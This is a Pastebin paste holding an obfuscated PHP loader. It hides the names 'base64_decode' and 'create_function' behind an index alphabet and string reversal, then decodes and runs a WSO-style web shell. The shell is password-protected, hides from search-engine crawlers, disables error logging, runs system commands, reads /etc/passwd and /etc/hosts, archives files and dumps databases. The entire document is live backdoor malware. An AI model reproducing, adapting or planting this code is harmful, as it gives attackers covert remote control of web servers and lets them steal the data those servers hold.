daily pastebin goal
55%
SHARE
TWEET

fefe

a guest Dec 7th, 2017 62 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. $alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
  4. $string = "Cmdsb2JhbCAkYXV0aF9wYXNzLCRjb2xvciwkZGVmYXVsdF9hY3Rpb24sJGRlZmF1bHRfdXNlX2FqYXgsJGRlZmF1bHRfY2hhcnNldCwkc29ydDsKZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsKCiRhdXRoX3Bhc3MgPSAnYmI2ZDQzYjIxNDViZjU0YjFiY2UxZmRkMDlhOGYwODUnOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CgpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwovL0BzZXRfbWFnaWNfcXVvdGVz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AgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0hERCBzcGFjZScsIHdzb0V4KCdkZiAtaCcpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVl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ICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAg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gICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CgoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcC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NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCgkJJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKZXhpdDsK";
  5. $array_name = "";
  6. foreach([4,29,34,38,42,9,21,7,38,17,37,7,38] as $t){
  7.    $array_name .= $alphabet[$t];
  8. }
  9. $a = strrev("noi"."tcnuf"."_eta"."erc");
  10. $f = $a("", $array_name($string));
  11. $f();
  12. ?>
RAW Paste Data
Top